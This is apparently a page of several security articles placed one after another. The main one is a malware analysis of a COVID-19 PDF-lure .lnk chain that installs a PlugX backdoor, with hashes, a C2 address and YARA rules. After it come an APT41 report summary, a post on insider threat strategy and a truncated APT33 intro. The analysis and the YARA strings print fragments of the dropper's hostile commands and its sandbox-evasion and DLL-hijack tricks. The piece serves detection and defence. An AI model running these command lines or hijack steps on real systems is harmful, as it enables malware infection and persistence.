Ssdeep24576:2D9JuasgfxPmNirQ2dRqZJuH3eBf9mddWoX+KIKoIkVrI:2DzuOxPm0iZLKIKRkq
DescriptionFake PDF file used to run initial infection chain

Opening up the .lnk file we might appreciate a weird linking pattern. Two main sections: one is a kind of header where it is possible to observe commands, and the other section is a big encoded payload.

.lnk file

Once beautified the first section it looks easier to understand what it does. It basically copies itself into a temporary folder (through cmd.exe), it extracts bytes from its body (from section two), it decodes such a bytes from Byte64 (through msoia.exe ) and it places the extracted content into the temporary user folder. It deflates the content (through expand) and it finally it executes a javascript file (through wscript) which was included into the compressed content. The following image shows the beautified code section of the analyzed file.

Beautified .lnk file

It is quite nice to see how the attacker copied certutils from local system, by using (*ertu*.exe) in order to avoid command line detection from public sandboxes. Indeed many sandboxes have signatures on certutils, since it’s quite a notorious tool used by some attackers, so that avoiding the behavior signature match it would take a lower score from public sandboxes.

Stage 2

Stage 1 carved Stage 2 from its body by extracting bytes and decoding them using base64 encoding. The new stage is a Microsoft compressed CAB file described in the following table.

Sha256f74199f59533fbbe57f0b2aae45c837b3ed5e4f5184e74c02e06c12c6535f0f9
ThreatMalware Carrier/Packer/Compressor
Ssdeep24576:CkL6X/3PSCuflrdNZ4J00ZcmNh3wsAR36Mge:vLK/fS200ZcYh3kqpe
DescriptionMicrosoft CAB bringing contents

Extracting files from Microsoft CAB we observe 6 more files entering in the battlefield:

  • 20200308-sitrep-48-covid-19.pdf. The original PDF from WHO explaining the COVID-19 status and how to fight it.
  • 3UDBUTNY7YstRc.tmp. PE32 Executable file (DLL)
  • 486AULMsOPmf6W.tmp. PE32 Executable (GUI)
  • 9sOXN6Ltf0afe7.js. Javascript file (called by .lnk)
  • cSi1r0uywDNvDu.tmp. XSL StyleSheet Document
  • MiZl5xsDRylf0W.tmp. Text file including PE32 file

Stage 1 executes the Javascript included in the CAB file. 9sOXN6Ltf0afe7.js performs an ActiveXObject call to WScript.Shell in order to execute Windows command lists. Once” deobfuscated” and beautified the command line looks like the following (9sOXN6Ltf0afe7.js payload beautified) . The attacker creates a folder that looks like a “file” by calling it cscript.exe trying to cheat the analyst. Then the attacker populates that folder with the needed files to follow the infection chain.

9sOXN6Ltf0afe7.js payload “deobfuscated”

A special thought goes to WINRM.VBS which helped the attacker to execute Signed Script Proxy Execution (T1216). According to Microsoft: “WINRM is the CLI interface to our WS-MGMT protocol. The neat thing about this is that you can call it from PowerShell to manage remote systems that don’t have PowerShell installed on them (including Server Core systems and Raw hardware).” The attacker also places a file called Wordcnvpxy.exe on the OFFICE12 folder. We will analyze it in a few steps but at that stage we might observe that is the “last call” before luring the victim by showing the good PDF file (also included in the CAB). But according with 9sOXN6Ltf0afe7.js the first run is on WsmPty.xsl which is the renamed version of cSi1r0uywDNvDu.tmp.

Stage 3

Stage 3 is run by stage 2 and it is a XSL (StleSheet Office file) wrapping a VBScript object.

Sha2569d52d8f10673518cb9f19153ddbe362acc7ca885974a217a52d1ee8257f22cfc
ThreatPayload Extractor and Command Executor
Ssdeep96:46Pdv3fOYCeeapSCDIKufYS2VGsBu746WJCSmCZyAcGghF:fh3fOYneaLDIgnNEFCZyAcGsF,
DescriptionDecode Additional Stage by using coding charsets and XOR

The following VBScript is run through cscript.exe, It’s an obfuscated and xor-encrypted payload. The encryption is performed by a simple xor having as key the single byte 0 while the encoding procedure is a multi conversion routine which could be summarized as follows:

chr(asc(chr(“&h”&mid(x,y,2))))

VBScript Stage3

The attacker tried to confuse the analyst by reusing variable names in private or local contexts, but after a couple of minutes, you might eventually come out with the following decryption loop.

Decryption Loop

If you run it against the embedded payload you will eventually see a new stage: Stage 4. A brand new script targeting old version of MSOffice.

Stage 4

Stage 4 is decoded and run by Stage 3. That stage runs an attacker version of MSOSTYLE.exe copied from Stage 2. It hijacks method on an old office 2007 component (Office Data Provider for – MSOSTYLE.exe).

Sha3567f230a023a399b39fa1994c3eaa0027d6105769fffaf72918adebf584edc6fe0
ThreatPersistence and Execution
Ssdeep48:zKxYaDzzXRrVHyMqHeIyJwlLGvTlGrbaTFGNT93TPTxGVhTG6TWWWsKj390C9nEm:zKxjDRt+e1sGvJG3aRGNNDtGLLqP5j3N
DescriptionSet persistence on the target system (Script File)

The following image shows the decrypted and decoded Stage. It’s quite clear the attacker wants to get persistence on the target machine and to run additional payload by abusing MSOSTYLE.exe (old component) placed in the “right folder” from stage 2. The persistence is guaranteed by adding a link called Accessories.lnk inside the startup windows folder pointing to: MiZl5xsDRylf0W.tmp.

Powershell Stage 4

Stage 5

Stage 5 is activated by Stage 2 but only after the execution of Stage 3 and Stage 4. Stage 5 is a multi-step session composed by the following additional artifacts: (i) 3UDBUTNY7YstRc.tmp renamed by Stage 2 into OINFO12.OCX and (ii) MiZl5xsDRylf0W.tmp renamed by Stage 2 into Wordcnvpxy.exe . Every single artifact is available after the execution of Stage 2 into the crafted folder called: OFFICE12 from the user home.

Sha256604679789c46a01aa320eb1390da98b92721b7144e57ef63853c3c8f6d7ea85d
ThreatRemote Control, depending on usage
Ssdeep536:/4yuzgQ5WugrQ+SccIp1t4xO67y5qHae:gyuzgKwr9bB1t4xO67y5j,
DescriptionOffice Data Provider for WBEM, not malicious but accountable.

MSOSTYLE.EXE is an old Microsoft Office Data Provider for WBEM. Web-Based Enterprise Management (WBEM) comprises a set of systems-management technologies developed to unify the management of distributed computing environments. So it could not be considered malicious, but it could be considered accountable of the entire infection chain.

Sha256a49133ed68bebb66412d3eb5d2b84ee71c393627906f574a29247d8699f1f38e
ThreatPlugX, Command Execution
Ssdeed768:jxmCQWD+TAxTRh40XfEDDnFt4AczonsT:MC5bw+zosT
DescriptionA runner plus Command Execution, Pluging Manager

At the time of writing only three AVs detect OINFO12.OCX as a malicious file. Rising AV is actually the only company which attributes it to a well-known PlugX sample. According with Trend Micro, the PlugX malware family is well known to researchers having samples dating back to as early as 2008. PlugX is a fully featured Remote Access Tool/Trojan (RAT) with capabilities such as file upload, download, and modification, keystroke logging, webcam control, and access to a remote cmd.exe shell.

OINFO12.OCX VT coverage

Taking it on static analysis it will expose three callable functions: DeleteOfficeData (0x10001020), GetOfficeData (0x10001000) and EntryPoint 0x100015ac).

Both of the methods DeleteOfficeData and GetOfficeData looks like recalling a classic method to hijacking old Office Parser (take a look to here and figure 3 in here ) to execute commands.

DeleteOfficeData (0x10001020)
GetOfficeData (0x10001000)

Indeed if run from its Entry Point, the DLL executes Wordcnvpxy.exe (as it is the default plugin component). The executable DLL must be in the same path of Wordcnvpxy.exe and it needs to have such a filename (imposed by Stage 2 and hardcoded into the library). On the other side of the coin if commands are passed through stdin, it executes the given parameters as commands.

No Input Commands, Wordcnvpxy execution

The following image shows when parameters are given and Commands are executed.

Commands Execution

Finally we have Wordcnvpxy.exe which is run in the same stage (Stage 5) by OINFO12.OCX . At the time of writing, it is well-known from static engines, it looks like a standard backdoor beacon-ing to own command and control installed as PlugX module.

Sha256002c9e0578a8b76f626e59b755a8aac18b5d048f1cc76e2c12f68bc3dd18b124
ThreatPlugX, Backdoor
Ssdeep1536:9/dlJMLIU94EYayTdHP6rUkn16O41yWCzB:93JsZxePUAFgWCz
DescriptionProbably one of the last stages, beaconing VS C2 and executing external commands
Wordcnvpxy VT coverage

The sample uses dynamic function loading avoiding static enumeration and guessing. It grabs information on the victim, PC-name, username, IP-location and send them to C2 as a first beacon.

Dynamic Loading function calls

The used Command and Control resolves to the following URL hxxp://motivation[.]neighboring[.]site/01/index.php

Command and Control

Unfortunately the attacker has shut down everything few hours after I started my analysis, so that I do not have more information about network, commands and additional Plugins. However the overall structure reminds me PlugX RAT as nicely described here.

Attribution

According to MITRE (BTW thank you @Arkbird_SOLG for the great suggestions on attribution) PlugX is a well known RAT attributed to China’s APT. APT27 (aka Emissary Panda) are the mostly notable APT group that used it. Moreover (thanks to @Arkbird_SOLG) “[…] on China culture, hijacking method are a mandatory knowledge for a job like pentesting […]” which could enforce the theory of APT27

UPDATE: I am aware that PlugX is today an opensource RAT, and I am aware that this is not enough for attribution. Indeed the intent of the title is to put doubts on that attribution by the usage of “?” (question mark). On one hand PlugX historically has been attributed to APT27 but on the other hand it’s public. So it’s hard to say Yes or Not, for such a reason the intent of this blog post is: Is APT27 Abusing COVID-19 To Attack People ?!. It’s an Open question not a position.

We all are passing a bad time. COVID-19 caused many death and is threatening entire economies. Please, even if you are an attacker and you gain profit from you infamous job, stop cyber attacks against peoples that are suffering this pandemic and rest. Ethics and compassion should be alive – even behind you monitors.

IoC

  • 95489af84596a21b6fcca078ed10746a32e974a84d0daed28cc56e77c38cc5a8 (original .lnk)
  • f74199f59533fbbe57f0b2aae45c837b3ed5e4f5184e74c02e06c12c6535f0f9 (Stage 2)
  • 9d52d8f10673518cb9f19153ddbe362acc7ca885974a217a52d1ee8257f22cfc (Stage 3)
  • 7f230a023a399b39fa1994c3eaa0027d6105769fffaf72918adebf584edc6fe0 (Stage 4)
  • a49133ed68bebb66412d3eb5d2b84ee71c393627906f574a29247d8699f1f38e (Stage 5/a)
  • 002c9e0578a8b76f626e59b755a8aac18b5d048f1cc76e2c12f68bc3dd18b124 (Stage 5/b)
  • hxxp://motivation[.]neighboring[.]site/01/index.php (C2)

Yara (auto)

import "pe"

rule MiZl5xsDRylf0W {
   meta:
      description = "yara - file MiZl5xsDRylf0W.tmp"
      date = "2020-03-17"
      hash1 = "b578a237587054f351f71bd41bede49197f77a1409176f839ebde105f3aee44c"
   strings:
      $s1 = "%ls\\%S.exe" fullword wide
      $s2 = "%XFTpX7m5ZvRCkEg" fullword ascii
      $s3 = "SK_Parasite, Version 1.0" fullword wide
      $s4 = "DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD" ascii
      $s5 = "DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD" fullword ascii
      $s6 = "SKPARASITE" fullword wide
      $s7 = "default" fullword ascii /* Goodware String - occured 709 times */
      $s8 = "59xf4qy-YXn-pkuXh=x3CXPHCcs3dXFlCtr3Cc4H4XufdZjmAZe3Ccxuibvm592g" fullword ascii
      $s9 = "SK_Parasite" fullword wide
      $s10 = "KOeS5OEThZjnYazMJ7p3Ccx-ptAMKuUMLlPEID2=Kn4XLqTM4WhSAKAHAbRMxXsa5Xj-AazEAqzEAqgg" fullword ascii
      $s11 = "ZXsDCcsTA80HdkET" fullword ascii
      $s12 = "8c9h9q9" fullword ascii /* Goodware String - occured 1 times */
      $s13 = "<&<,<6<<<F<O<Z<_<h<r<}<" fullword ascii /* Goodware String - occured 1 times */
      $s14 = "5$5@5\\5`5" fullword ascii /* Goodware String - occured 1 times */
      $s15 = "About SK_Parasite" fullword wide
      $s16 = "1/2A2o2" fullword ascii /* Goodware String - occured 1 times */
      $s17 = "z2bqw7k90rJYALIQUxZK%sO=hd5C4piVMFlaRucWy31GTNH-mED8fnXtPvSojeB6g" fullword ascii
      $s18 = "PQQQQQQWQf" fullword ascii
      $s19 = "Copyright (C) 2020" fullword wide
      $s20 = "1)1p1z1" fullword ascii /* Goodware String - occured 1 times */
   condition:
      uint16(0) == 0x0300 and filesize < 200KB and
      8 of them
}

rule sig_9sOXN6Ltf0afe7 {
   meta:
      description = "yara - file 9sOXN6Ltf0afe7.js"
      date = "2020-03-17"
      hash1 = "70b8397f87e4a0d235d41b00a980a8be9743691318d30293f7aa6044284ffc9c"
   strings:
      $x1 = "var e7926b8de13327f8e703624e = new ActiveXObject(\"WScript.Shell\");e7926b8de13327f8e703624e.Run (\"cmd /c mkdir %tmp%\\\\cscrip" ascii
      $x2 = "&for /r C:\\\\Windows\\\\System32\\\\ %m in (cscr*.exe) do copy %m %tmp%\\\\cscript.exe\\\\msproof.exe /y&move /Y %tmp%\\\\cSi1r" ascii
      $x3 = "ss?Handle=4 -format:pretty&del \\\"%userprofile%\\\\OFFICE12\\\\Wordcnvpxy.exe\\\" /f /q&ping -n 1 127.0.0.1&move /Y %tmp%\\\\48" ascii
      $x4 = "var e7926b8de13327f8e703624e = new ActiveXObject(\"WScript.Shell\");e7926b8de13327f8e703624e.Run (\"cmd /c mkdir %tmp%\\\\cscrip" ascii
      $x5 = "p %tmp%\\\\cscript.exe\\\\WsmPty.xsl&%tmp%\\\\cscript.exe\\\\msproof.exe //nologo %windir%\\\\System32\\\\winrm.vbs get wmicimv2" ascii
      $s6 = "/b %tmp%\\\\2m7EBxdH3wHwBO.tmp+%tmp%\\\\MiZl5xsDRylf0W.tmp \\\"%userprofile%\\\\OFFICE12\\\\Wordcnvpxy.exe\\\" /Y&\\\"%tmp%\\\\2" ascii
      $s7 = "6W.tmp \\\"%userprofile%\\\\OFFICE12\\\\MSOSTYLE.EXE\\\"&move /Y %tmp%\\\\3UDBUTNY7YstRc.tmp \\\"%userprofile%\\\\OFFICE12\\\\OI" ascii
      $s8 = "48-covid-19.pdf\\\"\",0);" fullword ascii
      $s9 = "e7926b8de13327f8e703624e" ascii
   condition:
      uint16(0) == 0x6176 and filesize < 2KB and
      1 of ($x*) and all of them
}

rule sig_3UDBUTNY7YstRc {
   meta:
      description = "yara - file 3UDBUTNY7YstRc.tmp"
      date = "2020-03-17"
      hash1 = "a49133ed68bebb66412d3eb5d2b84ee71c393627906f574a29247d8699f1f38e"
   strings:
      $x1 = "cmd /c notepad.exe" fullword ascii
      $x2 = "dllexec.dll" fullword ascii
      $s3 = "cmd /c calc.exe" fullword ascii
      $s4 = "Wordcnvpxy.exe" fullword ascii
      $s5 = "GetOfficeData" fullword ascii
      $s6 = "273<3]3b3" fullword ascii /* Goodware String - occured 1 times */
      $s7 = "2>2K2W2_2g2s2" fullword ascii /* Goodware String - occured 1 times */
      $s8 = "uTVWhY#" fullword ascii
      $s9 = "DeleteOfficeData" fullword ascii
      $s10 = "9#:=:N:" fullword ascii /* Goodware String - occured 1 times */
      $s11 = "URPQQhpB" fullword ascii
      $s12 = "6#6*626:6B6N6W6\\6b6l6u6" fullword ascii /* Goodware String - occured 2 times */
      $s13 = "0#0-030I0N0V0\\0c0i0p0v0~0" fullword ascii
      $s14 = "4.464<4F4L4V4\\4f4o4z4" fullword ascii
      $s15 = "<$=1=;=I=R=\\=" fullword ascii
      $s16 = ">->3>9>O>g>" fullword ascii
      $s17 = "5r5L6T6l6" fullword ascii
      $s18 = "1#1*191>1D1M1m1s1" fullword ascii
      $s19 = ":%:K:Q:{:" fullword ascii
      $s20 = "5(5L5X5\\5`5d5h5" fullword ascii /* Goodware String - occured 4 times */
   condition:
      uint16(0) == 0x5a4d and filesize < 100KB and
      ( pe.imphash() == "abba83cce6a959dc431917a65c5fe7ca" and ( pe.exports("DeleteOfficeData") and pe.exports("GetOfficeData") ) or ( 1 of ($x*) or 4 of them ) )
}

rule sig_20200308_sitrep_48_covid_19________pdf {
   meta:
      description = "yara - file 20200308-sitrep-48-covid-19.pdf.lnk"
      date = "2020-03-17"
      hash1 = "d54d85e3044a05bdafee9f30f7604ee584db91944a5149cc9e0f65f381d85492"
   strings:
      $x1 = "TVNDRgAAAADWPw0AAAAAAEwAAAAAAAAAAwEFAAYAAACtJwAAKgEAABsAAQAT6QsAAgABAC5lDAADAAEARvcMAAEAAQBbOA0AAQABABUTDQAAAAAAAABpUJOkIAAyMDIw" ascii
      $s2 = "jS61LWA3O0LZjbyOyM+Th5BHkL/6NtKERZApZAvWg3QiB7HuGbdfdfIMVwXLDLL9nVOdKplM1TlFlO5ESifhf5tgzpqP9DZt2dfrfTPS/+ZIBLzWJ99g9xXWv91bOiOD" ascii
      $s3 = "wXEkU5x/pIsmFrJtNHbdwG+bszpTRFThzR7p/shOst0DW0ZFKeRdhc/kM7yZKiZM0LkwrconqjQ3wYPZ7MTqq6M91IEWmt0TYiRCrUlVHk0W63x4OVNkZBjH3umhhGbW" ascii
      $s4 = "pUnp5YF5MVzpQVVZGZ3vjyftPMSfwPbgfq+oOoRAAyP6ZnheN9Or9fx8glHHDnXKm8PTjPiuhWhq74VNkEWr+gACxYi/wwj+yrQNyWULOGigcjQQ6ze7Zgp48Bny4X8v" ascii
      $s5 = "1WxCb+ZUBMNpgdQ9VM6Pbm/a3lOho1gNxYjJoenk4InBUmvbgaGreBVEPcshY3J0VUdR35An5FULDqPNKxb5raGeTLpm5548XATYLogWT8E22FhAi+V4d0q3ck1gZSqw" ascii
      $s6 = "GEeEP7OJ3H9kNW2EPOUbKglcK2+vp//RmYt0D/CDulYi6iBikEye9CzxoMuCHgaF8hfJC8DaiQG6B/+lrCggdq54tM4fP9SAqhqBWxW1YVMoKHKrLKhWRlMhlYtoUDbV" ascii
      $s7 = "H/sC8wh3rLxj+gB3VC89yuytzdbGEK3P9U2mmfZGvCPYQlBQgXUXRc8UuNfknuIxjz3CsTDq0QPYPvLj9sHAaK6EoZ3tzZGNYDZBV1szVLoGm4wtS68/jiqvVtmPtKB6" ascii
      $s8 = "fauCRyQIlXVt+r5GYoBBBlfOQqImEkWo6+WlQTSwYS6smIFGhlOgf7AQ4ovS1utu5CdOQaEjc8UwcEx752927tdeRp8xVz4LlZVh/2KEKumMtVfbk1vucomNeqcRsJi6" ascii
      $s9 = "yd2OnvWZvuUQw3aLFzorH9uYxOItXtCmdMmUJP9GKGsdR2VRmYbpkfJ9I5JlbjB2nR28vsrlyOLvHeftPpJaqAb2+eY3ks7r6ewL6JeeS12Gw+8/OrnmTiIrWapEgObL" ascii
      $s10 = "RhSzuRlKjfLOgyDj4lOfKOsiZNdxLSHCfbS/kEYl0BslYnQ7YtwYOHZlbWNtSdEUhvb4kKsY/+AobmfLilpGotYo3vEBKu8hhbFE1Jrc+GYGxDRue6300wqLbdIKezBr" ascii
      $s11 = "cFHaggy5a+rMrMKC4rKmWdNudM/QWEwp2clOa3lRns1Y4qmtaE5STCmdnj+hITcnvc5eyekbDY568+RUHAxtOr8y3S/vmt9OfY7y/dLNNNLQofyTgt4T7G3abUZ1bNG1" ascii
      $s12 = "VjEg4DubcQ2BtwOwevQAyxdM/FzIuPehNRKJnyLk8q2jPd+UucexECuRJKkRJ0NnnGBEv7sjLuODcKIJHEX8JgyVAcq/DoPewYcsHY8Rh9NeC2fnR6OLLctWM2n53KUn" ascii
      $s13 = "nS8AHUkUzud+yCzW6SCpcW1LiQEWsA8B0zucbgdLVskYWhOLinfePmJ6k6CUgOpcd8fVzMTGRbjV6YyhJjWxlOGgyp7v+q5MGCVbXGwpGM/1xk73XpXhTTPABA+Atm1v" ascii
      $s14 = "KeyEC9M1uHqOE/KCRd902gmpYSK9Ep1sCtzpOqSfNfLHLGoTxu3zjMaEjJ8Dw4/VNYHZo4t5c2CPkSZskDGEYG9rz8HeDf4+Hd3t7y/CyEFD89WV2zsspTFMHnSiyp3t" ascii
      $s15 = "CcCdVZZhyydWDx5BFEKNrLqFB/YFtIaCbuk52NxcwOWQ4muYqVQDbXvcIi/mrR2bXPO1koVLNJbK28cDGFSGXFGg9YXl+YxZkEYe14fqauAf3E/rZcpNs5kCKmv5y5W4" ascii
      $s16 = "cnhkpPaBto41NCLi/eWl360SSHxRUUZsmZ2dnY3wlvb2T+Nu2mRSpYtAlikPNxFZa8nOIodAkeyEVi1SsSRQngbhvRq5LpJOPh4ldQ1N+56agooQr+W0oFa2KXNsEetV" ascii
      $s17 = "FIwtpdre2Wmnc21tda09FKpZefVL43grfymCTd5K56sLOgontwiwYn1nYgVnGJPP/LVQ4JKa1rFFA3Y0HSBBKwuTrFmOAdIJwhoTUrZzBokdMSD931UQuVHTXaMnRz10" ascii
      $s18 = "VGO9VokrQADVECqvw3oyurkmSN5/sSpYnNf7Wi/ECAUmGg/S5qDAyFTPbyfhqOI58HyFRC846KnQDdn72pSAno4kdaeMLOelzq3b6bXV5l2VPj4wQfNl0GZCuJMn7LTR" ascii
      $s19 = "TXxf/IllO3bWzFUJaAMLlRUnogcNa2x0VENzHR6cEaOx79lHSoQxYVHwSUfmEjZoZ2pROh7H1UCMdmJR/3wD2YF9x4MoF5dJQiiAhb4NH9781LGhwW6JqODySrvw3EGT" ascii
      $s20 = "lTvLNEAvdSOFqYwbinqsSVNmUDf6zYKeYafaDjqm8gebMsHURHBynktlSzDsefxSefP1Q1h15TkkR3m/j6/umso0tMFngezzB4SUvUoqb1BMzfPSHU+4EpvSvStNQjKe" ascii
   condition:
      uint16(0) == 0x5654 and filesize < 3000KB and
      1 of ($x*) and 4 of them
}

rule sig_486AULMsOPmf6W {
   meta:
      description = "yara - file 486AULMsOPmf6W.tmp"
      date = "2020-03-17"
      hash1 = "604679789c46a01aa320eb1390da98b92721b7144e57ef63853c3c8f6d7ea85d"
   strings:
      $x1 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><assemblyIdentity version=\"1.0.0.0\" processorArch" ascii
      $s2 = "emblyIdentity type=\"win32\" name=\"Microsoft.VC80.CRT\" version=\"8.0.50608.0\" processorArchitecture=\"x86\" publicKeyToken=\"" ascii
      $s3 = "0Mscoree.dll" fullword ascii
      $s4 = "<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\"><assemblyIdentity version=\"1.0.0.0\" processorArch" ascii
      $s5 = "t:\\misc\\x86\\ship\\0\\oinfop12.pdb" fullword ascii
      $s6 = "_tWinMain (Ship) commandline='%s'" fullword ascii
      $s7 = "PrintPostScriptOverText" fullword wide
      $s8 = "InstallLang" fullword wide /* base64 encoded string '"{-jYKjx' */
      $s9 = "re=\"X86\" name=\"OINFOP12.EXE\" type=\"win32\"></assemblyIdentity><description>OInfo</description><dependency><dependentAssembl" ascii
      $s10 = "SetOfficeProperties -- PublisherPageSetupType" fullword ascii
      $s11 = "\\ship\\0\\oinfop12.exe\\bbtopt\\oinfop12O.pdb" fullword ascii
      $s12 = "GetOffice type for '%S'" fullword ascii
      $s13 = "TemplateCount" fullword wide
      $s14 = "Win32_Word12Template" fullword wide
      $s15 = "'OInfoP12.EXE'" fullword ascii
      $s16 = "Queued_EventDescription= " fullword wide
      $s17 = "COfficeObj::Initialize, user='%S', namespace='%S'" fullword ascii
      $s18 = "TabIndentKey" fullword wide
      $s19 = "Win32_WebConnectionErrorMessage" fullword wide
      $s20 = "OInfo12.OCX" fullword wide
   condition:
      uint16(0) == 0x5a4d and filesize < 300KB and
      ( pe.imphash() == "3765c96e932e41e0de2bd2ed71ef99ad" or ( 1 of ($x*) or 4 of them ) )
}

APT41: A Dual Espionage and Cyber Crime Operation

Today, FireEye Intelligence is releasing a comprehensive report detailing APT41, a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations. APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain. Explicit financially-motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests APT41 has conducted simultaneous cyber crime and cyber espionage operations from 2014 onward.

The full published report covers historical and ongoing activity attributed to APT41, the evolution of the group’s tactics, techniques, and procedures (TTPs), information on the individual actors, an overview of their malware toolset, and how these identifiers overlap with other known Chinese espionage operators. APT41 partially coincides with public reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky).

Who Does APT41 Target?

Like other Chinese espionage operators, APT41 espionage targeting has generally aligned with China's Five-Year economic development plans. The group has established and maintained strategic access to organizations in the healthcare, high-tech, and telecommunications sectors. APT41 operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance. For example, the group has repeatedly targeted call record information at telecom companies. In another instance, APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there, suggesting the group was tasked to reconnoiter the facility for security reasons.

The group’s financially motivated activity has primarily focused on the video game industry, where APT41 has manipulated virtual currencies and even attempted to deploy ransomware. The group is adept at moving laterally within targeted networks, including pivoting between Windows and Linux systems, until it can access game production environments. From there, the group steals source code as well as digital certificates which are then used to sign malware. More importantly, APT41 is known to use its access to production environments to inject malicious code into legitimate files which are later distributed to victim organizations. These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns.

Interestingly, despite the significant effort required to execute supply chain compromises and the large number of affected organizations, APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers. These multi-stage operations restrict malware delivery only to intended victims and significantly obfuscate the intended targets. In contrast, a typical spear-phishing campaign’s desired targeting can be discerned based on recipients' email addresses.

A breakdown of industries directly targeted by APT41 over time can be found in Figure 1.

 


Figure 1: Timeline of industries directly targeted by APT41

Probable Chinese Espionage Contractors

Two identified personas using the monikers “Zhang Xuguang” and “Wolfzhi” linked to APT41 operations have also been identified in Chinese-language forums. These individuals advertised their skills and services and indicated that they could be hired. Zhang listed his online hours as 4:00pm to 6:00am, similar to APT41 operational times against online gaming targets and suggesting that he is moonlighting. Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs.

Attribution to these individuals is backed by identified persona information, their previous work and apparent expertise in programming skills, and their targeting of Chinese market-specific online games. The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations.


Figure 2: Operational activity for gaming versus non-gaming-related targeting based on observed operations since 2012

The Right Tool for the Job

APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions, including publicly available utilities, malware shared with other Chinese espionage operations, and tools unique to the group. The group often relies on spear-phishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims. Once in a victim organization, APT41 can leverage more sophisticated TTPs and deploy additional malware. For example, in a campaign running almost a year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits.

APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems. The use of bootkits in particular adds an extra layer of stealth because the code is executed prior to the operating system initializing. The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets.

Fast and Relentless

APT41 quickly identifies and compromises intermediary systems that provide access to otherwise segmented parts of an organization’s network. In one case, the group compromised hundreds of systems across multiple network segments and several geographic regions in as little as two weeks.

The group is also highly agile and persistent, responding quickly to changes in victim environments and incident responder activity. Hours after a victimized organization made changes to thwart APT41, for example, the group compiled a new version of a backdoor using a freshly registered command-and-control domain and compromised several systems across multiple geographic regions. In a different instance, APT41 sent spear-phishing emails to multiple HR employees three days after an intrusion had been remediated and systems were brought back online. Within hours of a user opening a malicious attachment sent by APT41, the group had regained a foothold within the organization's servers across multiple geographic regions.

Looking Ahead

APT41 is a creative, skilled, and well-resourced adversary, as highlighted by the operation’s distinct use of supply chain compromises to target select individuals, consistent signing of malware using compromised digital certificates, and deployment of bootkits (which is rare among Chinese APT groups).

Like other Chinese espionage operators, APT41 appears to have moved toward strategic intelligence collection and establishing access and away from direct intellectual property theft since 2015. This shift, however, has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons. The group's capabilities and targeting have both broadened over time, signaling the potential for additional supply chain compromises affecting a variety of victims in additional verticals.

APT41's links to both underground marketplaces and state-sponsored activity may indicate the group enjoys protections that enables it to conduct its own for-profit activities, or authorities are willing to overlook them. It is also possible that APT41 has simply evaded scrutiny from Chinese authorities. Regardless, these operations underscore a blurred line between state power and crime that lies at the heart of threat ecosystems and is exemplified by APT41.

Read the report today to learn more.

Forcing the Adversary to Pursue Insider Theft

Jack Crook pointed me toward a story by Christopher Burgess about intellectual property theft by "Hongjin Tan, a 35 year old Chinese national and U.S. legal permanent resident... [who] was arrested on December 20 and charged with theft of trade secrets. Tan is alleged to have stolen the trade secrets from his employer, a U.S. petroleum company," according to the criminal complaint filed by the US DoJ.

Tan's former employer and the FBI allege that Tan "downloaded restricted files to a personal thumb drive." I could not tell from the complaint if Tan downloaded the files at work or at home, but the thumb drive ended up at Tan's home. His employer asked Tan to bring it to their office, which Tan did. However, he had deleted all the files from the drive. Tan's employer recovered the files using commercially available forensic software.

This incident, by definition, involves an "insider threat." Tan was an employee who appears to have copied information that was outside the scope of his work responsibilities, resigned from his employer, and was planning to return to China to work for a competitor, having delivered his former employer's intellectual property.

When I started GE-CIRT in 2008 (officially "initial operating capability" on 1 January 2009), one of the strategies we pursued involved insider threats. I've written about insiders on this blog before but I couldn't find a description of the strategy we implemented via GE-CIRT.

We sought to make digital intrusions more expensive than physical intrusions.

In other words, we wanted to make it easier for the adversary to accomplish his mission using insiders. We wanted to make it more difficult for the adversary to accomplish his mission using our network.

In a cynical sense, this makes security someone else's problem. Suddenly the physical security team is dealing with the worst of the worst!

This is a win for everyone, however. Consider the many advantages the physical security team has over the digital security team.

The physical security team can work with human resources during the hiring process. HR can run background checks and identify suspicious job applicants prior to granting employment and access.

Employees are far more exposed than remote intruders. Employees, even under cover, expose their appearance, likely residence, and personalities to the company and its workers.

Employees can be subject to far more intensive monitoring than remote intruders. Employee endpoints can be instrumented. Employee workspaces are instrumented via access cards, cameras at entry and exit points, and other measures.

Employers can cooperate with law enforcement to investigate and prosecute employees. They can control and deter theft and other activities.

In brief, insider theft, like all "close access" activities, is incredibly risky for the adversary. It is a win for everyone when the adversary must resort to using insiders to accomplish their mission. Digital and physical security must cooperate to leverage these advantages, while collaborating with human resources, legal, information technology, and business lines to wring the maximum results from this advantage.

Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware

When discussing suspected Middle Eastern hacker groups with destructive capabilities, many automatically think of the suspected Iranian group that previously used SHAMOON – aka Disttrack – to target organizations in the Persian Gulf. However, over the past few years, we have been tracking a separate, less widely known suspected Iranian group with potential destructive capabilities, whom we call APT33. Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013. We assess APT33 works at the behest of the Iranian government.

